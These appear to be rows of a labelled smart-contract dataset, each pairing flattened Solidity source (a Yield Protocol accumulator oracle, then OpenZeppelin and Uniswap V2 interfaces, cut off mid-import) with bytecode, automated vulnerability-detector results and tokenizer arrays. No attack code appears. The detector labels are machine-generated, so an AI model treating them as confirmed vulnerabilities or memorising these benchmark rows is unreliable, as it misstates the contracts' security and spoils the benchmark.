[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,633
0x95750d6F5fba4ed1cc4Dc42D2c01dFD3DB9a11eC
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.6; import "@yield-protocol/utils-v2/contracts/access/AccessControl.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastBytes32Bytes6.sol"; import "@yield-protocol/utils-v2/contracts/math/WPow.sol"; import "@yield-protocol/vault-interfaces/IOracle.sol"; import "../../constants/Constants.sol"; /** A collection of independent Accumulator Oracles Each Accumulator is simple: it starts when `setSource` is called, and each `get` call returns perSecondRate ^ (time in seconds since oracle creation) */ contract AccumulatorMultiOracle is IOracle, AccessControl, Constants { using CastBytes32Bytes6 for bytes32; using WPow for uint256; struct Accumulator { /// @dev secondly rate uint256 perSecondRate; /// @dev rate accumulated so far - check `get` for details uint256 accumulated; /// @dev time when `accumulated` was last updated uint256 lastUpdated; } mapping(bytes6 => mapping(bytes6 => Accumulator)) public sources; event SourceSet(bytes6 indexed baseId, bytes6 indexed kind, uint256 startRate, uint256 perSecondRate); event PerSecondRateUpdated(bytes6 indexed baseId, bytes6 indexed kind, uint256 perSecondRate); /** @notice Set a source @param baseId: base to set the source for @param kindId: kind of oracle (example: chi/rate) @param startRate: rate the oracle starts with @param perSecondRate: secondly rate */ function setSource( bytes6 baseId, bytes6 kindId, uint256 startRate, uint256 perSecondRate ) external auth { Accumulator memory source = sources[baseId][kindId]; require(source.accumulated == 0, "Source is already set"); sources[baseId][kindId] = Accumulator({ perSecondRate: perSecondRate, accumulated: startRate, lastUpdated: block.timestamp }); emit SourceSet(baseId, kindId, startRate, perSecondRate); } /** @notice Updates accumulation rate The accumulation rate can only be updated on an up-to-date oracle: get() was called in the same block. See get() for more details */ function updatePerSecondRate( bytes6 baseId, bytes6 kindId, uint256 perSecondRate ) external auth { Accumulator memory source = sources[baseId][kindId]; require(source.accumulated != 0, "Source not found"); require(source.lastUpdated == block.timestamp, "stale accumulator"); sources[baseId][kindId].perSecondRate = perSecondRate; emit PerSecondRateUpdated(baseId, kindId, perSecondRate); } /** * @notice Retrieve the latest stored accumulated rate. */ function peek( bytes32 base, bytes32 kind, uint256 ) external view virtual override returns (uint256 accumulated, uint256 updateTime) { Accumulator memory source = sources[base.b6()][kind.b6()]; require(source.accumulated != 0, "Source not found"); accumulated = source.accumulated; require(accumulated > 0, "Accumulated rate is zero"); updateTime = block.timestamp; } /** @notice Retrieve the latest accumulated rate from source, updating it if necessary. Computes baseRate ^ (block.timestamp - creation timestamp) pow() is not O(1), so the naive implementation will become slower as the time passes To workaround that, each time get() is called, we: 1) compute the return value 2) store the return value in `accumulated` field, update lastUpdated timestamp Becase we have `accumulated`, step 1 becomes `accumulated * baseRate ^ (block.timestamp - lastUpdated) */ function get( bytes32 base, bytes32 kind, uint256 ) external virtual override returns (uint256 accumulated, uint256 updateTime) { Accumulator memory accumulator = sources[base.b6()][kind.b6()]; require(accumulator.accumulated != 0, "Source not found"); uint256 secondsSinceLastUpdate = (block.timestamp - accumulator.lastUpdated); if (secondsSinceLastUpdate > 0) { accumulator.accumulated *= accumulator.perSecondRate.wpow(secondsSinceLastUpdate); accumulator.accumulated /= 1e18; accumulator.lastUpdated = block.timestamp; sources[base.b6()][kind.b6()] = accumulator; } accumulated = accumulator.accumulated; require(accumulated > 0, "Accumulated rate is zero"); updateTime = block.timestamp; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes4` identifier. These are expected to be the * signatures for all the functions in the contract. Special roles should be exposed * in the external API and be unique: * * ``` * bytes4 public constant ROOT = 0x00000000; * ``` * * Roles represent restricted access to a function call. For that purpose, use {auth}: * * ``` * function foo() public auth { * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `ROOT`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {setRoleAdmin}. * * WARNING: The `ROOT` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ contract AccessControl { struct RoleData { mapping (address => bool) members; bytes4 adminRole; } mapping (bytes4 => RoleData) private _roles; bytes4 public constant ROOT = 0x00000000; bytes4 public constant ROOT4146650865 = 0x00000000; // Collision protection for ROOT, test with ROOT12007226833() bytes4 public constant LOCK = 0xFFFFFFFF; // Used to disable further permissioning of a function bytes4 public constant LOCK8605463013 = 0xFFFFFFFF; // Collision protection for LOCK, test with LOCK10462387368() /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role * * `ROOT` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes4 indexed role, bytes4 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call. */ event RoleGranted(bytes4 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes4 indexed role, address indexed account, address indexed sender); /** * @dev Give msg.sender the ROOT role and create a LOCK role with itself as the admin role and no members. * Calling setRoleAdmin(msg.sig, LOCK) means no one can grant that msg.sig role anymore. */ constructor () { _grantRole(ROOT, msg.sender); // Grant ROOT to msg.sender _setRoleAdmin(LOCK, LOCK); // Create the LOCK role by setting itself as its own admin, creating an independent role tree } /** * @dev Each function in the contract has its own role, identified by their msg.sig signature. * ROOT can give and remove access to each function, lock any further access being granted to * a specific action, or even create other roles to delegate admin control over a function. */ modifier auth() { require (_hasRole(msg.sig, msg.sender), "Access denied"); _; } /** * @dev Allow only if the caller has been granted the admin role of `role`. */ modifier admin(bytes4 role) { require (_hasRole(_getRoleAdmin(role), msg.sender), "Only admin"); _; } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes4 role, address account) external view returns (bool) { return _hasRole(role, account); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes4 role) external view returns (bytes4) { return _getRoleAdmin(role); } /** * @dev Sets `adminRole` as ``role``'s admin role. * If ``role``'s admin role is not `adminRole` emits a {RoleAdminChanged} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function setRoleAdmin(bytes4 role, bytes4 adminRole) external virtual admin(role) { _setRoleAdmin(role, adminRole); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes4 role, address account) external virtual admin(role) { _grantRole(role, account); } /** * @dev Grants all of `role` in `roles` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - For each `role` in `roles`, the caller must have ``role``'s admin role. */ function grantRoles(bytes4[] memory roles, address account) external virtual { for (uint256 i = 0; i < roles.length; i++) { require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin"); _grantRole(roles[i], account); } } /** * @dev Sets LOCK as ``role``'s admin role. LOCK has no members, so this disables admin management of ``role``. * Emits a {RoleAdminChanged} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function lockRole(bytes4 role) external virtual admin(role) { _setRoleAdmin(role, LOCK); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes4 role, address account) external virtual admin(role) { _revokeRole(role, account); } /** * @dev Revokes all of `role` in `roles` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - For each `role` in `roles`, the caller must have ``role``'s admin role. */ function revokeRoles(bytes4[] memory roles, address account) external virtual { for (uint256 i = 0; i < roles.length; i++) { require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin"); _revokeRole(roles[i], account); } } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes4 role, address account) external virtual { require(account == msg.sender, "Renounce only for self"); _revokeRole(role, account); } function _hasRole(bytes4 role, address account) internal view returns (bool) { return _roles[role].members[account]; } function _getRoleAdmin(bytes4 role) internal view returns (bytes4) { return _roles[role].adminRole; } function _setRoleAdmin(bytes4 role, bytes4 adminRole) internal virtual { if (_getRoleAdmin(role) != adminRole) { _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, adminRole); } } function _grantRole(bytes4 role, address account) internal { if (!_hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, msg.sender); } } function _revokeRole(bytes4 role, address account) internal { if (_hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, msg.sender); } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library CastBytes32Bytes6 { function b6(bytes32 x) internal pure returns (bytes6 y){ require (bytes32(y = bytes6(x)) == x, "Cast overflow"); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; import "./WMul.sol"; library WPow { // Taken from https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol /// @dev $x ^ $n; $x is 18-decimals fixed point number function wpow(uint256 x, uint256 n) internal pure returns (uint256 z) { uint256 baseUnit = 1e18; assembly { switch x case 0 { switch n case 0 { z := baseUnit } default { z := 0 } } default { switch mod(n, 2) case 0 { z := baseUnit } default { z := x } let half := div(baseUnit, 2) for { n := div(n, 2) } n { n := div(n, 2) } { let xx := mul(x, x) if iszero(eq(div(xx, x), x)) { revert(0, 0) } let xxRound := add(xx, half) if lt(xxRound, xx) { revert(0, 0) } x := div(xxRound, baseUnit) if mod(n, 2) { let zx := mul(z, x) if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0, 0) } let zxRound := add(zx, half) if lt(zxRound, zx) { revert(0, 0) } z := div(zxRound, baseUnit) } } } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IOracle { /** * @notice Doesn't refresh the price, but returns the latest value available without doing any transactional operations: * @return value in wei */ function peek( bytes32 base, bytes32 quote, uint256 amount ) external view returns (uint256 value, uint256 updateTime); /** * @notice Does whatever work or queries will yield the most up-to-date price, and returns it. * @return value in wei */ function get( bytes32 base, bytes32 quote, uint256 amount ) external returns (uint256 value, uint256 updateTime); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.6; contract Constants { bytes32 constant CHI = "CHI"; bytes32 constant RATE = "RATE"; bytes6 constant ETH = "00"; } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library WMul { // Taken from https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol /// @dev Multiply an amount by a fixed point factor with 18 decimals, rounds down. function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x * y; unchecked { z /= 1e18; } } }
0x608060405234801561001057600080fd5b50600436106101315760003560e01c8063991b5332116100b2578063ae93c1b511610081578063de02cde711610066578063de02cde7146102d1578063effae353146102e4578063ffffffff1461028957600080fd5b8063ae93c1b5146102ab578063aff005e2146102be57600080fd5b8063991b5332146102255780639f1ed3c014610238578063a4f0d7d014610289578063ad82110f1461029857600080fd5b8063559742d9116101095780635ba5e9f0116100ee5780635ba5e9f0146101cf57806368284fd4146101ff578063687f0e4c1461021257600080fd5b8063559742d9146101bc5780635909c12f1461013657600080fd5b801561013657806310ab94321461015c57806344faded01461017f578063462f9a2814610194575b600080fd5b61013e600081565b6040516001600160e01b031990911681526020015b60405180910390f35b61016f61016a366004611174565b6102f7565b6040519015158152602001610153565b61019261018d366004611174565b61032e565b005b6101a76101a236600461112d565b6103cd565b60408051928352602083019190915201610153565b6101926101ca366004611159565b6105c2565b61013e6101dd366004611159565b6001600160e01b03191660009081526020819052604090206001015460e01b90565b6101a761020d36600461112d565b61063b565b610192610220366004611174565b61075f565b610192610233366004611237565b6107c1565b61026e6102463660046111d1565b6001602081815260009384526040808520909152918352912080549181015460029091015483565b60408051938452602084019290925290820152606001610153565b61013e6001600160e01b031981565b6101926102a636600461104f565b610953565b6101926102b93660046111a7565b610a0f565b6101926102cc3660046111fb565b610a7c565b6101926102df366004611174565b610c1d565b6101926102f236600461104f565b610c8a565b6001600160e01b031982166000908152602081815260408083206001600160a01b038516845290915281205460ff165b9392505050565b81610380610358826001600160e01b03191660009081526020819052604090206001015460e01b90565b6001600160e01b03191660009081526020818152604080832033845290915290205460ff1690565b6103be5760405162461bcd60e51b815260206004820152600a60248201526927b7363c9030b236b4b760b11b60448201526064015b60405180910390fd5b6103c88383610d1c565b505050565b6000806000600160006103df88610db0565b6001600160d01b0319166001600160d01b0319168152602001908152602001600020600061040c87610db0565b6001600160d01b03191681526020808201929092526040908101600020815160608101835281548152600182015493810184905260029091015491810191909152915061048e5760405162461bcd60e51b815260206004820152601060248201526f14dbdd5c98d9481b9bdd08199bdd5b9960821b60448201526064016103b5565b60008160400151426104a091906112ba565b9050801561055e5781516104b49082610e0f565b826020018181516104c5919061129b565b905250602082018051670de0b6b3a764000091906104e4908390611279565b90525042604083015281600160006104fb8a610db0565b6001600160d01b0319166001600160d01b0319168152602001908152602001600020600061052889610db0565b6001600160d01b031916815260208082019290925260409081016000208351815591830151600183015591909101516002909101555b81602001519350600084116105b55760405162461bcd60e51b815260206004820152601860248201527f416363756d756c617465642072617465206973207a65726f000000000000000060448201526064016103b5565b4292505050935093915050565b806105ec610358826001600160e01b03191660009081526020819052604090206001015460e01b90565b6106255760405162461bcd60e51b815260206004820152600a60248201526927b7363c9030b236b4b760b11b60448201526064016103b5565b610637826001600160e01b0319610ed6565b5050565b60008060006001600061064d88610db0565b6001600160d01b0319166001600160d01b0319168152602001908152602001600020600061067a87610db0565b6001600160d01b0319168152602080820192909252604090810160002081516060810183528154815260018201549381018490526002909101549181019190915291506106fc5760405162461bcd60e51b815260206004820152601060248201526f14dbdd5c98d9481b9bdd08199bdd5b9960821b60448201526064016103b5565b80602001519250600083116107535760405162461bcd60e51b815260206004820152601860248201527f416363756d756c617465642072617465206973207a65726f000000000000000060448201526064016103b5565b42915050935093915050565b6001600160a01b03811633146107b75760405162461bcd60e51b815260206004820152601660248201527f52656e6f756e6365206f6e6c7920666f722073656c660000000000000000000060448201526064016103b5565b6106378282610d1c565b600080356001600160e01b03191681526020818152604080832033845290915290205460ff166108235760405162461bcd60e51b815260206004820152600d60248201526c1058d8d95cdcc819195b9a5959609a1b60448201526064016103b5565b6001600160d01b03198085166000908152600160208181526040808420948816845293815291839020835160608101855281548152918101549282018390526002015492810192909252156108ba5760405162461bcd60e51b815260206004820152601560248201527f536f7572636520697320616c726561647920736574000000000000000000000060448201526064016103b5565b604080516060810182528381526020808201868152428385019081526001600160d01b03198a811660008181526001808752888220938d1680835293875290889020965187559351938601939093559051600290940193909355835187815291820186905291927f7525ef17ef84c7973b7ae38b0a4d9637fb0795643f2bfcb004c24fd9e13ca3c7910160405180910390a35050505050565b60005b82518110156103c8576109a161035884838151811061097757610977611302565b60200260200101516001600160e01b03191660009081526020819052604090206001015460e01b90565b6109da5760405162461bcd60e51b815260206004820152600a60248201526927b7363c9030b236b4b760b11b60448201526064016103b5565b6109fd8382815181106109ef576109ef611302565b602002602001015183610d1c565b80610a07816112d1565b915050610956565b81610a39610358826001600160e01b03191660009081526020819052604090206001015460e01b90565b610a725760405162461bcd60e51b815260206004820152600a60248201526927b7363c9030b236b4b760b11b60448201526064016103b5565b6103c88383610ed6565b600080356001600160e01b03191681526020818152604080832033845290915290205460ff16610ade5760405162461bcd60e51b815260206004820152600d60248201526c1058d8d95cdcc819195b9a5959609a1b60448201526064016103b5565b6001600160d01b03198084166000908152600160208181526040808420948716845293815291839020835160608101855281548152918101549282018390526002015492810192909252610b675760405162461bcd60e51b815260206004820152601060248201526f14dbdd5c98d9481b9bdd08199bdd5b9960821b60448201526064016103b5565b42816040015114610bba5760405162461bcd60e51b815260206004820152601160248201527f7374616c6520616363756d756c61746f7200000000000000000000000000000060448201526064016103b5565b6001600160d01b031984811660008181526001602090815260408083209488168084529482529182902086905590518581527fbef63427c41a33a90730af317f64e2c514c609f9941a58036a89c50f63d1bbe2910160405180910390a350505050565b81610c47610358826001600160e01b03191660009081526020819052604090206001015460e01b90565b610c805760405162461bcd60e51b815260206004820152600a60248201526927b7363c9030b236b4b760b11b60448201526064016103b5565b6103c88383610f72565b60005b82518110156103c857610cae61035884838151811061097757610977611302565b610ce75760405162461bcd60e51b815260206004820152600a60248201526927b7363c9030b236b4b760b11b60448201526064016103b5565b610d0a838281518110610cfc57610cfc611302565b602002602001015183610f72565b80610d14816112d1565b915050610c8d565b6001600160e01b031982166000908152602081815260408083206001600160a01b038516845290915290205460ff1615610637576001600160e01b031982166000818152602081815260408083206001600160a01b0386168085529252808320805460ff1916905551339391927f4ddc7b757e7bdd7254a9cd39452d307a52761bc824625c6a33104a075d8099e691a45050565b806001600160d01b031981168114610e0a5760405162461bcd60e51b815260206004820152600d60248201527f43617374206f766572666c6f770000000000000000000000000000000000000060448201526064016103b5565b919050565b6000670de0b6b3a7640000838015610eb857600184168015610e3357859350610e37565b8293505b50600282046002850494505b8415610eb2578586028687820414610e5a57600080fd5b81810181811015610e6a57600080fd5b8490049650506001851615610ea7578584028487820414158715151615610e9057600080fd5b81810181811015610ea057600080fd5b8490049450505b600285049450610e43565b50610ece565b838015610ec85760009350610ecc565b8293505b505b505092915050565b6001600160e01b03198116610f07836001600160e01b03191660009081526020819052604090206001015460e01b90565b6001600160e01b03191614610637576001600160e01b0319828116600081815260208190526040808220600101805463ffffffff191660e087901c17905551928416927fd348e2220a50b4500ec353f6e802d2f14dd1b5d6786148fd1bbcc570bf92d4739190a35050565b6001600160e01b031982166000908152602081815260408083206001600160a01b038516845290915290205460ff16610637576001600160e01b031982166000818152602081815260408083206001600160a01b0386168085529252808320805460ff1916600117905551339391927fe6231789d19137da31d0550f4ba9ee379020a8cfb64cb79bf1790c996d2e616591a45050565b80356001600160a01b0381168114610e0a57600080fd5b80356001600160e01b031981168114610e0a57600080fd5b80356001600160d01b031981168114610e0a57600080fd5b6000806040838503121561106257600080fd5b823567ffffffffffffffff8082111561107a57600080fd5b818501915085601f83011261108e57600080fd5b81356020828211156110a2576110a2611318565b8160051b604051601f19603f830116810181811086821117156110c7576110c7611318565b604052838152828101945085830182870184018b10156110e657600080fd5b600096505b84871015611110576110fc8161101f565b8652600196909601959483019483016110eb565b5096506111209050878201611008565b9450505050509250929050565b60008060006060848603121561114257600080fd5b505081359360208301359350604090920135919050565b60006020828403121561116b57600080fd5b6103278261101f565b6000806040838503121561118757600080fd5b6111908361101f565b915061119e60208401611008565b90509250929050565b600080604083850312156111ba57600080fd5b6111c38361101f565b915061119e6020840161101f565b600080604083850312156111e457600080fd5b6111ed83611037565b915061119e60208401611037565b60008060006060848603121561121057600080fd5b61121984611037565b925061122760208501611037565b9150604084013590509250925092565b6000806000806080858703121561124d57600080fd5b61125685611037565b935061126460208601611037565b93969395505050506040820135916060013590565b60008261129657634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156112b5576112b56112ec565b500290565b6000828210156112cc576112cc6112ec565b500390565b60006000198214156112e5576112e56112ec565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220fbee2f15e6463d854217c75b9b91065e32a33127a47328b055e796da953dce6f64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 28311, 12376, 2094, 2575, 2546, 2629, 26337, 2050, 2549, 2098, 2487, 9468, 2549, 16409, 20958, 2094, 2475, 2278, 24096, 20952, 2094, 29097, 2497, 2683, 27717, 2487, 8586, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3902, 2140, 1011, 1015, 1012, 1015, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1020, 1025, 12324, 1000, 1030, 10750, 1011, 8778, 1013, 21183, 12146, 1011, 1058, 2475, 1013, 8311, 1013, 3229, 1013, 3229, 8663, 13181, 2140, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 10750, 1011, 8778, 1013, 21183, 12146, 1011, 1058, 2475, 1013, 8311, 1013, 3459, 1013, 3459, 3762, 4570, 16703, 3762, 4570, 2575, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 10750, 1011, 8778, 1013, 21183, 12146, 1011, 1058, 2475, 1013, 8311, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,634
0x95756aE7bDf71D43b5bDD8C8695311bFA173Fe8d
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import 